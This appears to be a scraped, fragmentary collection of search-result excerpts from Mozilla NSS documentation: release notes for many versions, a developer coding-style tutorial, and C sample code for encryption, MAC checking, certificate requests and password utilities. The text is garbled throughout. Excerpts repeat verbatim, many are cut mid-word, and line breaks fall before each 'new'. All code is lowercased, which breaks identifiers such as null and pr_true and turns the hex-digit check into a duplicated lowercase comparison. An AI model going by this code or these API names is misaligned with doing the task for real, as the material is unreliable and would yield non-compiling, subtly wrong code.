newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); printashex(pr_stderr,
newmac,
newmaclen); rv = secfailure; } cleanup: if (ctxmac) { pk11_destroycontext(ctxmac, pr_true); } if (ctxenc) { pk11_destroycontext(ctxenc, pr_true); } if (outfile) { pr_close(outfile); } return rv; } /* * gets iv and ckaids from header file */ secstatus getivandckaidsfromheader(const char *cipherfilename, secitem *iv...
...and an output file, * write a header to the output that identifies the two keys by * their cka_ids, may include original file name and length. ...
4.3.1 Release Notes
ssl3 & tls renegotiation vulnerability see cve-2009-3555 and us-cert vu#120541 for more information about this security vulnerability. ...
... ssl3 & tls renegotiation vulnerability see cve-2009-3555 and us-cert vu#120541 for more information about this security vulnerability. ...
...55 and us-cert vu#120541 for more information about this security vulnerability. all ssl/tls renegotiation is disabled by default in nss 3.12.5 and therefore will be disabled by default with jss 4.3.1. this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a
new safe renegotiation scheme is standardized by the ietf. if an application depends on renegotiation feature, it can be enabled by setting the environment variable nss_ssl_enable_renegotiation to 1. by setting this environmental variable, the fix provided by these patches will have no effect and the application may become vulnerable to the issue. this default setting can also be changed within the a...
... same release. ...
NSS_3.12.1_release_notes.html
the bug fixes in nss 3.12.1 are described in the "bugs fixed" section below. nss 3.12.1 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1. distribution information the cvs tag for the nss 3.12.1 release is nss_3_12_1_rtm. nss 3.12.1 requires nspr 4.7.1. see the documentation section for the build instructions. ...
...ectory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12.1 requires. nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/.
new in nss 3.12.1
new functions in the nss shared library: cert_nametoasciiinvertible (see cert.h) convert an certname into its rfc1485 encoded equivalent. returns a string that must be freed with port_free(). caller chooses encoding rules. cert_encodesubjectkeyid (see cert.h) encode certificate skid (subject key id) extension. pk11_getallslotsforcert (see pk11pub.h) pk11_getallslotsforcert return...
...a program linked wit...
...il -k doesn't report the token and slot names for found keys bug 448324: ocsp checker returns incorrect error code on request with invalid signing cert bug 449146: remove dead libsec function declarations bug 453227: installation of pem-encoded certificate without trailing
newline fails documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation.
new and revised documents available since the release of nss 3.11 include the following: build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.1 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.12.1 shared libraries without recompiling or relinking. furthermo...
NSS 3.14.1 release notes
introduction network security services (nss) 3.14.1 is a patch release for nss 3.14. the bug fixes in nss 3.14.1 are described in the "bugs fixed" section below. nss 3.14.1 is licensed under the mpl 2.0. distribution information the cvs tag is nss_3_14_1_rtm. nss 3.14.1 requires nspr 4.9.4 or
newer. ...
... 3.14.1 are described in the "bugs fixed" section below. nss 3.14.1 is licensed under the mpl 2.0. distribution information the cvs tag is nss_3_14_1_rtm. nss 3.14.1 requires nspr 4.9.4 or
newer. nss 3.14.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_1_rtm/src/
new in nss 3.14.1
new functionality nss now has the ability to create signed ocsp responses. the ability to create signed ocsp responses has been added in nss 3.14.1. ...
....mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_1_rtm/src/
new in nss 3.14.1
new functionality nss now has the ability to create signed ocsp responses. the ability to create signed ocsp responses has been added in nss 3.14.1. note that this code is used primarily for purposes of testing. ...
...the ability to create signed ocsp responses has been added in nss 3.14.1. note that this code is used primarily for purposes of testing.
new functions in ocspt.h cert_createocspsingleresponsegood cert_createocspsingleresponseunknown cert_createocspsingleresponserevoked cert_createencodedocspsuccessresponse cert_createencodedocsperrorresponse
new types in ocspt.h certocspresponderidtype notable changes in nss 3.14.1 windows ce support has been removed from the code base. bug 812399 - in nss 3.14, a regression caused bug 641052 / cve-2011-3640 to be re-introduced under certain situations. this regression only affected applications that initialize nss via the nss_nodb_init function. nss 3.14.1 includes the com...
NSS 3.15.4 release notes
introduction network security services (nss) 3.15.4 is a patch release for nss 3.15. the bug fixes in nss 3.15.4 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_15_4_rtm. nss 3.15.4 requires nspr 4.10.2 or
newer. ...
...secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_4_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.4. users are encouraged to upgrade immediately. bug 919877 - (cve-2013-1740) when false start is enabled, libssl will sometimes return unencrypted, unauthenticated data from pr_recv
new in nss 3.15.4
new functionality implemented ocsp querying using the http get method, which is the
new default, and will fall back to the http post method. implemented ocsp server functionality for testing purposes (httpserv utility). support sha-1 signatures with tls 1.2 client authentication. added the --empty-password command-line option to certutil, to be used with -n: use an empty passwo...
...functionality implemented ocsp querying using the http get method, which is the
new default, and will fall back to the http post method. implemented ocsp server functionality for testing purposes (httpserv utility). support sha-1 signatures with tls 1.2 client authentication. added the --empty-password command-line option to certutil, to be used with -n: use an empty password when creating a
new database. added the -w command-line option to pp: don't wrap long output lines. ...
...default, and will fall back to the http post method. implemented ocsp server functionality for testing purposes (httpserv utility). support sha-1 signatures with tls 1.2 client authentication. added the --empty-password command-line option to certutil, to be used with -n: use an empty password when creating a
new database. added the -w command-line option to pp: don't wrap long output lines.
new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalsestart ssl_setcanfalsestartcallback
new types cert_rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post.
new pkcs #11 mechanisms none. notable c...
NSS 3.18 release notes
introduction the nss team has released network security services (nss) 3.18, which is a minor release. distribution information the hg tag is nss_3_18_rtm. nss 3.18 requires nspr 4.10.8 or
newer. nss 3.18 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_rtm/src/
new in nss 3.18
new functionality when importing certificates and keys from a pkcs#12 source, it's now possible to override the nicknames, prior to importing them into the nss database, using
new api sec_pkcs12decoderrenamecertnicknames. the tstclnt test utility program has
new command-line options -c, -d, -b and -r. use -c one, two or three times to print information about the certificates ...
... certificates received from a server, and information about the locally found and trusted issuer certificates, to diagnose server side configuration issues. it is possible to run tstclnt without providing a database (-d). a pkcs#11 library that contains root ca certificates can be loaded by tstclnt, which may either be the nssckbi library provided by nss (-b) or another compatible library (-r).
new functions in certdb.h sec_checkcrltimes - check the validity of a crl at the given time. sec_getcrltimes - extract the validity times from a crl. in p12.h sec_pkcs12decoderrenamecertnicknames - call an application provided callback for each certificate found in a sec_pkcs12decodercontext. in pk11pub.h __pk11_setcertificatenickname - this is an internal symbol ...
...kcs12decoderrenamecertnicknames - call an application provided callback for each certificate found in a sec_pkcs12decodercontext. in pk11pub.h __pk11_setcertificatenickname - this is an internal symbol for nss use only, as with all exported nss symbols that have a leading underscore '_'. applications that use or depend on these symbols can and will break in future nss releases.
new types in p12.h sec_pkcs12nicknamerenamecallback - a function pointer definition. an application that uses sec_pkcs12decoderrenamecertnicknames must implement a callback function that implements this function interface. notable changes in nss 3.18 the highest tls protocol version enabled by default has been increased from tls 1.0 to tls 1.2. similarly, the highest dtls protocol...
...ed from tls 1.0 to tls 1.2. similarly, the highest dtls protocol version enabled by default has been increased from dtls 1.0 to dtls 1.2. the default key size used by certutil when creating an rsa key pair has been increased from 1024 bits to 2048 bits. on mac os x, by default the softokn shared library will link with the sqlite library installed by the operating system, if it is version 3.5 or
newer. the following ca certificates had the websites and code signing trust bits turned off ou = equifax secure certificate authority sha1 fingerprint: d2:32:09:ad:23:d3:14:23:21:74:e4:0d:7f:9d:62:13:97:86:63:3a cn = equifax secure global ebusiness ca-1 sha1 fingerprint: 7e:78:4a:10:1c:82:65:cc:2d:e1:f1:6d:47:b4:40:ca:d9:0a:19:45 cn = tc trustcent...
NSS 3.19.2.2 release notes
introduction network security services (nss) 3.19.2.2 is a security patch release for nss 3.19.2. the bug fixes in nss 3.19.2.2 are described in the "security fixes" section below. (current users of nss 3.19.3 or nss 3.19.4 are advised to update to nss 3.20.2, nss 3.21, or a later release.) distribution information the hg tag is nss_3_19_2_2_rtm. nss 3.19.2.2 requires nspr 4.10.10 or
newer. ...
... acknowledgements the nss development team would like to thank karthikeyan bhargavan from inria for responsibly disclosing the issue in bug 1158489. ...
... acknowledgements the nss development team would like to thank karthikeyan bhargavan from inria for responsibly disclosing the issue in bug 1158489. compatibility nss 3.19.2.2 shared libraries are backward compatible with all older nss 3.x shared libraries. ...
... acknowledgements the nss development team would like to thank karthikeyan bhargavan from inria for responsibly disclosing the issue in bug 1158489. compatibility nss 3.19.2.2 shared libraries are backward compatible with all older nss 3.x shared libraries. ...
NSS 3.22 release notes
introduction the nss team has released network security services (nss) 3.22, which is a minor release. distribution information the hg tag is nss_3_22_rtm. nss 3.22 requires nspr 4.11 or
newer. nss 3.22 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_rtm/src/
new in nss 3.22
new functionality rsa-pss signatures are now supported (bug 1215295)
new functions pk11_signwithmechanism() and pk11_signwithmechanism() are provided to allow rsa keys to be used with pss. pseudorandom functions based on hashes other than sha-1 are now supported with pbkdf (bug 554827). pk11_createpbev2algorithmid() now supports sec_oid_pkcs5_pbkdf2 with ciphera...
...ac_sha256, sec_oid_hmac_sha224, sec_oid_hmac_sha384, or sec_oid_hmac_sha512. enforce an external policy on nss from a config file (bug 1009429) you can now add a config= line to pkcs11.txt (assuming you are using sql databases), which will force nss to restrict the application to certain cryptographic algorithms and protocols. a complete list can be found in nss config options.
new functions in pk11pub.h pk11_signwithmechanism - this function is an extended version pk11_sign(). pk11_verifywithmechanism - this function is an extended version of pk11_verify(). these functions take an explicit mechanism and parameters as arguments rather than inferring it from the key type using pk11_mapsignkeytype(). the mechanism type ckm_rsa_pkcs_pss is now supported...
...pk11_mapsignkeytype(). the mechanism type ckm_rsa_pkcs_pss is now supported for rsa in addition to ckm_rsa_pkcs. the ck_rsa_pkcs_pss mechanism takes a parameter of type ck_rsa_pkcs_pss_params. ...
..._rsa sec_oid_tls_ecdh_ecdsa sec_oid_tls_ecdh_rsa sec_oid_tls_ecdh_anon sec_oid_tls_rsa_export sec_oid_tls_dhe_rsa_export sec_oid_tls_dhe_dss_export sec_oid_tls_dh_rsa_export sec_oid_tls_dh_dss_export sec_oid_tls_dh_anon_export sec_oid_apply_ssl_policy in sslt.h ssl_signed_cert_timestamp_xtn is added to sslextensiontype. ...
NSS 3.25.1 release notes
this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.25. ...
...this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.25. ...
...this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.25. ...
...this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.25. ...
NSS 3.25 release notes
added support for chacha with tls 1.3. ...
... added support for chacha with tls 1.3. added support for tls 1.2 ciphersuites that use sha384 as the prf. ...
... added support for chacha with tls 1.3. added support for tls 1.2 ciphersuites that use sha384 as the prf. ...
... agreement for tls 1.3. added support for chacha with tls 1.3. added support for tls 1.2 ciphersuites that use sha384 as the prf. removed the limitation that allowed nss to only support certificate_verify messages that used the same signature hash algorithm as the prf when using tls 1.2 client authentication. several functions have been added to the public api of the nss cryptoki framework.
new functions in nssckfw.h nssckfwslot_getslotid nssckfwsession_getfwslot nssckfwinstance_destroysessionhandle nssckfwinstance_findsessionhandle notable changes in nss 3.25 an ssl socket can no longer be configured to allow both tls 1.3 and ssl v3. regression fix: nss no longer reports a failure if an application attempts to disable the ssl v2 protocol. the trusted ca c...
NSS 3.26.2 release notes
this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.26.1. ...
...this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.26.1. ...
...this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.26.1. ...
...this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.26.1. ...
NSS 3.27.1 release notes
this is a patch release to address a tls compatibility issue which some applications experienced with nss 3.27. ...
...this is a patch release to address a tls compatibility issue which some applications experienced with nss 3.27. ...
...this is a patch release to address a tls compatibility issue which some applications experienced with nss 3.27. ...
...this is a patch release to address a tls compatibility issue which some applications experienced with nss 3.27. ...
NSS 3.27.2 Release Notes
this is a patch release to address a memory leak in the ssl_settrustanchors() function. ...
...this is a patch release to address a memory leak in the ssl_settrustanchors() function. ...
...this is a patch release to address a memory leak in the ssl_settrustanchors() function. ...
...this is a patch release to address a memory leak in the ssl_settrustanchors() function. ...
NSS 3.33 release notes
nss 3.33 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_33_rtm/src/ notable changes in nss 3.33 tls compression is no longer supported. api calls that attempt to enable compression are accepted without failure. ...
...abled. this version of nss uses a formally verified implementation of curve25519 on 64-bit systems. the compile time flag disable_ecc has been removed. when nss is compiled without nss_force_fips=1 startup checks are no longer performed. fixes cve-2017-7805, a potential use-after-free in tls 1.2 server, when verifying client authentication. various minor improvements and correctness fixes. ...
...ion of nss uses a formally verified implementation of curve25519 on 64-bit systems. the compile time flag disable_ecc has been removed. when nss is compiled without nss_force_fips=1 startup checks are no longer performed. fixes cve-2017-7805, a potential use-after-free in tls 1.2 server, when verifying client authentication. various minor improvements and correctness fixes. ...
... cert_findcertbynicknameoremailaddrcx - a variation of existing function cert_findcertbynicknameoremailaddr that accepts an additional password context parameter. ...
NSS 3.34 release notes
introduction the network security services (nss) team has released nss 3.34, which is a minor release. distribution information the hg tag is nss_3_34_rtm. nss 3.34 requires netscape portable runtime (nspr) 4.17, or
newer. nss 3.34 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_34_rtm/src/ notable changes in nss 3.34 the following ca certificates were added: cn = gdca trustauth r5 root sha-256 fingerprint: bf:ff:8f:d0:44:33:48:7d:6a:8a:a6:0c:1a:29:76:7a:9f:c2:bb:b0:5e:42:0f:71:3a:13:b9:92:89:1d:38:93 trust flags: websites cn = ssl.com root certification authority rsa sha-256 fingerprint: 85:66:6a:56:2e:e0:be:5c...
... cn = certification authority of wosign g2 sha-256 fingerprint: d4:87:a5:6f:83:b0:74:82:e8:5e:96:33:94:c1:ec:c2:c9:e5:1d:09:03:ee:94:6b:02:c3:01:58:1e:d9:9e:16 cn = ca wosign ecc root sha-256 fingerprint: 8b:45:da:1c:06:f7:91:eb:0c:ab:f2:6b:e5:88:f5:fb:23:16:5c:2e:61:4b:f8:85:56:2d:0d:ce:50:b2:9b:02 libfreebl no longer requires sse2 instructions.
new in nss 3.34
new functionality when listing an nss database. using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing. when using certutil, to set an inacceptable password in fips mode, a correct explanation of acceptable passwords will be printed. sslkeylogfile is now supported w...
...sing certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing. when using certutil, to set an inacceptable password in fips mode, a correct explanation of acceptable passwords will be printed. sslkeylogfile is now supported with tls 1.3, see bug 1287711 for details. sslchannelinfo has two
new fields (bug 1396525) sslnamedgroup originalkeagroup holds the key exchange group of the original handshake, when the session was resumed. prbool resumed is pr_true when the session is resumed, and pr_false otherwise. rsa-pss signatures are now supported on certificates. certificates with rsa-pss or rsa-pkcs#1v1.5 keys can be used to create an rsa-pss signature on a certificate, us...
...riginalkeagroup holds the key exchange group of the original handshake, when the session was resumed. prbool resumed is pr_true when the session is resumed, and pr_false otherwise. rsa-pss signatures are now supported on certificates. certificates with rsa-pss or rsa-pkcs#1v1.5 keys can be used to create an rsa-pss signature on a certificate, using the --pss-sign argument to certutil.
new functions bugs fixed in nss 3.34 this bugzilla query returns all the bugs fixed in nss 3.34: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.34 compatibility nss 3.34 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries wil...
NSS 3.36.1 release notes
this is a patch release to fix regression bugs. ...
...this is a patch release to fix regression bugs. ...
...this is a patch release to fix regression bugs. ...
...this is a patch release to fix regression bugs. ...
NSS 3.36.2 release notes
this is a patch release to fix regression bugs. ...
...this is a patch release to fix regression bugs. ...
...this is a patch release to fix regression bugs. ...
...this is a patch release to fix regression bugs. ...
NSS 3.36.4 release notes
this is a patch release to fix regression bugs. bugs fixed in nss 3.36.4 bug 1461731 - fix crash on macos related to authentication tokens, e.g. ...
...this is a patch release to fix regression bugs. bugs fixed in nss 3.36.4 bug 1461731 - fix crash on macos related to authentication tokens, e.g. ...
...this is a patch release to fix regression bugs. bugs fixed in nss 3.36.4 bug 1461731 - fix crash on macos related to authentication tokens, e.g. ...
...this is a patch release to fix regression bugs. bugs fixed in nss 3.36.4 bug 1461731 - fix crash on macos related to authentication tokens, e.g. pk11or webauthn. ...
NSS 3.37.1 release notes
this is a patch release to fix regression bugs. ...
...this is a patch release to fix regression bugs. ...
...this is a patch release to fix regression bugs. ...
...this is a patch release to fix regression bugs. ...
NSS 3.37.3 release notes
this is a patch release to fix regression bugs. bugs fixed in nss 3.37.3 bug 1459739 - fix build on armv6/armv7 and other platforms. ...
...this is a patch release to fix regression bugs. bugs fixed in nss 3.37.3 bug 1459739 - fix build on armv6/armv7 and other platforms. ...
...this is a patch release to fix regression bugs. bugs fixed in nss 3.37.3 bug 1459739 - fix build on armv6/armv7 and other platforms. ...
...this is a patch release to fix regression bugs. bugs fixed in nss 3.37.3 bug 1459739 - fix build on armv6/armv7 and other platforms. ...
NSS 3.42 release notes
introduction the nss team has released network security services (nss) 3.42 on 25 january 2019, which is a minor release. distribution information the hg tag is nss_3_42_rtm. nss 3.42 requires nspr 4.20 or
newer. nss 3.42 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_42_rtm/src/ other releases are available in nss releases. ...
...ervices (nss) 3.42 on 25 january 2019, which is a minor release. distribution information the hg tag is nss_3_42_rtm. nss 3.42 requires nspr 4.20 or
newer. nss 3.42 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_42_rtm/src/ other releases are available in nss releases. ...
...2 on 25 january 2019, which is a minor release. distribution information the hg tag is nss_3_42_rtm. nss 3.42 requires nspr 4.20 or
newer. nss 3.42 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_42_rtm/src/ other releases are available in nss releases. ...
...the hg tag is nss_3_42_rtm. nss 3.42 requires nspr 4.20 or
newer. nss 3.42 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_42_rtm/src/ other releases are available in nss releases. ...
NSS 3.44.1 release notes
introduction network security services (nss) 3.44.1 is a patch release for nss 3.44. the bug fixes in nss 3.44.1 are described in the "bugs fixed" section below. it was released on 21 june 2019. the nss team would like to recognize first-time contributors: greg rubin distribution information the hg tag is nss_3_44_1_rtm. nss 3.44.1 requires nspr 4.21 or
newer. ...
...ld like to recognize first-time contributors: greg rubin distribution information the hg tag is nss_3_44_1_rtm. nss 3.44.1 requires nspr 4.21 or
newer. nss 3.44.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_1_rtm/src/ other releases are available in nss releases. ...
...e first-time contributors: greg rubin distribution information the hg tag is nss_3_44_1_rtm. nss 3.44.1 requires nspr 4.21 or
newer. nss 3.44.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_1_rtm/src/ other releases are available in nss releases. ...
...nss_3_44_1_rtm. nss 3.44.1 requires nspr 4.21 or
newer. nss 3.44.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_1_rtm/src/ other releases are available in nss releases. ...
NSS Developer Tutorial
nss coding style formatting line length should not exceed 80 characters. indentation level is 4. tabs are used heavily in many nss source files. try to stay consistent when you modify existing code. the proper use of tabs has often been confusing for
new nss developers, so in nss/lib/ssl, we're gradually removing the use of tabs. curly braces: both of the following styles are allowed: if (condition) { action1(); } else { action2(); } or: if (condition) { action1(); } else { action2(); } the former style is more common. when modifying existing code, try to stay consistent. in
new code, prefer the former style, as it conserves vertical space. when a block of code consists of a single statement, nss doesn’t require curly braces, so both of these examples a...
... * parameter can be changed to const foo *. this change is always safe. sometimes an int parameter can be changed to unsigned int, or an int * parameter can be changed to unsigned int *. whether such a change is safe needs to be reviewed on a case-by-case basis. types structs members of an exported struct, cannot be reordered or removed. under certain circumstances, it is safe to add
new members to an exported struct at the end. opaque structs give us complete freedom to change them, but require applications to call nss functions, to allocate and free them. enums the numeric values of public enumerators cannot be changed. to stress this fact, we often explicitly assign numeric values to enumerators, rather than relying on the values assigned by the compiler. symbol export lis...
...e symbol export lists (nss.def, ssl.def, smime.def, etc.) are truly public functions. unfortunately, public headers may declare private functions, for historical reasons. the symbol export lists are the authoritative source of public functions. behavioral changes bug/quirk compatible: occasionally we cannot fix a bug, because applications may depend on the buggy behavior. we would need to add a
new function to provide the desired behavior. similarly,
new options often need to be disabled by default. nss review/feature approval process nss doesn’t have 'super reviewers'. we wish to increase the number of nss developers, who have broad understanding of nss. one review is usually enough for the review to pass. for critical code reviews, such as a patch release of a stable branch, two rev...
... update nss in mozilla-inbound and mozilla-central the procedure is documented at https://developer.mozilla.org/docs/updating_nspr_or_nss_in_mozilla-central. ...
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
"-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin
new certificate request-----" #define ns_certreq_trailer "-----end
new certificate request-----" #define ns_cert_enc_header "-----begin certificate for encryption-----" #define ns_cert_enc_trailer "-----end certificate for encryption-----" #define ns_cert_vfy_header "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signatu...
...; prfiledesc *infile = null; sgncontext *sgn = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0); if (!infile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for reading.\n", infilename); rv = secfailure; goto cleanup; } /* sign using private key */ sgn = sgn_
newcontext(sec_oid_pkcs1_md5_with_rsa_encryption, pk); if (!sgn) { pr_fprintf(pr_stderr, "unable to create context for signing\n"); rv = secfailure; goto cleanup; } rv = sgn_begin(sgn); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_begin\n"); goto cleanup; } while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) ...
...nup: return privkey; } /* * get the certificate request from csr */ static certcertificaterequest * getcertrequest(char *infilename, prbool ascii) { certsigneddata signeddata; secitem reqder; certcertificaterequest *certreq = null; secstatus rv = secsuccess; prarenapool *arena = null; reqder.data = null; arena = port_
newarena(der_default_chunksize); if (arena == null) { rv = secfailure; goto cleanup; } rv = readderfromfile(&reqder, infilename, ascii); if (rv) { rv = secfailure; goto cleanup; } certreq = (certcertificaterequest*) port_arenazalloc (arena, sizeof(certcertificaterequest)); if (!certreq) { rv = secfailure; ...
...{ pr_fprintf(pr_stderr, "unable to create subject public key\n"); rv = secfailure; goto cleanup; } /* generate certificate request */ cr = cert_createcertificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_
newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_startcertificaterequestattributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertifi...
NSS Sample Code Sample_3_Basic Encryption and MACing
secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *ivitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char
newmac[digestsize]; unsigned int
newmaclen = 0; unsigned int
newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigne...
...temp = pr_write(outfile, decbuf, decbuflen); if (temp != decbuflen) { pr_fprintf(pr_stderr, "write error\n"); rv = secfailure; break; } /* save last block of ciphertext */ memcpy(iv, decbuf, decbuflen); ivlen = decbuflen; blocknumber++; } if (rv != secsuccess) { goto cleanup; } rv = macfinal(ctxmac,
newmac, &
newmaclen, sizeof(
newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data,
newmac,
newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); pri...
...zeof(
newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data,
newmac,
newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); printashex(pr_stderr,
newmac,
newmaclen); rv = secfailure; } cleanup: if (ctxmac) { pk11_destroycontext(ctxmac, pr_true); } if (ctxenc) { pk11_destroycontext(ctxenc, pr_true); } if (outfile) { pr_close(outfile); } return rv; } /* * gets iv and ckaids from header file */ secstatus getivandckaidsfromheader(const char *cipherfilename, secitem *iv...
...e and an output file, * write a header to the output that identifies the two keys by * their cka_ids, may include original file name and length. ...
NSS Sample Code Utilities_1
assword from a text file get the module password print as ascii or hexadecimal sample code #include <prlog.h> #include <termios.h> #include <base64.h> #include <unistd.h> #include <sys/stat.h> #include <prprf.h> #include "util.h" /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications. ...
... get the module password print as ascii or hexadecimal sample code #include <prlog.h> #include <termios.h> #include <base64.h> #include <unistd.h> #include <sys/stat.h> #include <prprf.h> #include "util.h" /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications. ...
...lumn = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) {
newline(out); column = level; limit = i % 16; } } if (column != level) {
newline(out); } } /* * getdigit */ int getdigit(char c) { if (c == 0) { return -1; } if (c <= '9' && c >= '0') { return c - '0'; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } if (c <= 'f' && c >= 'a') { retu...
... = fileno(input); int istty = isatty(infd); for (;;) { /* prompt for password */ if (istty) { fprintf(output, "%s", prompt); fflush (output); echooff(infd); } fgets(phrase, sizeof(phrase), input); if (istty) { fprintf(output, "\n"); echoon(infd); } /* stomp on
newline */ phrase[port_strlen(phrase)-1] = 0; /* validate password */ if (!(*ok)(phrase)) { if (!istty) return 0; fprintf(output, "password must be at least 8 characters long with one or more\n"); fprintf(output, "non-alphabetic characters\n"); continue; } return (char*) port_strdup(phrase); } } /* * filepas...
Utilities for nss samples
*/ util.c /* this source code form is subject to the terms of the mozilla public * license, v. 2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. */ #include "util.h" /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications. ...
...ce code form is subject to the terms of the mozilla public * license, v. 2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. */ #include "util.h" /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications. ...
...lumn = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) {
newline(out); column = level; limit = i % 16; } } if (column != level) {
newline(out); } } /* * getdigit */ int getdigit(char c) { if (c == 0) { return -1; } if (c <= '9' && c >= '0') { return c - '0'; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } if (c <= 'f' && c >= 'a') { retu...
... = fileno(input); int istty = isatty(infd); for (;;) { /* prompt for password */ if (istty) { fprintf(output, "%s", prompt); fflush (output); echooff(infd); } fgets(phrase, sizeof(phrase), input); if (istty) { fprintf(output, "\n"); echoon(infd); } /* stomp on
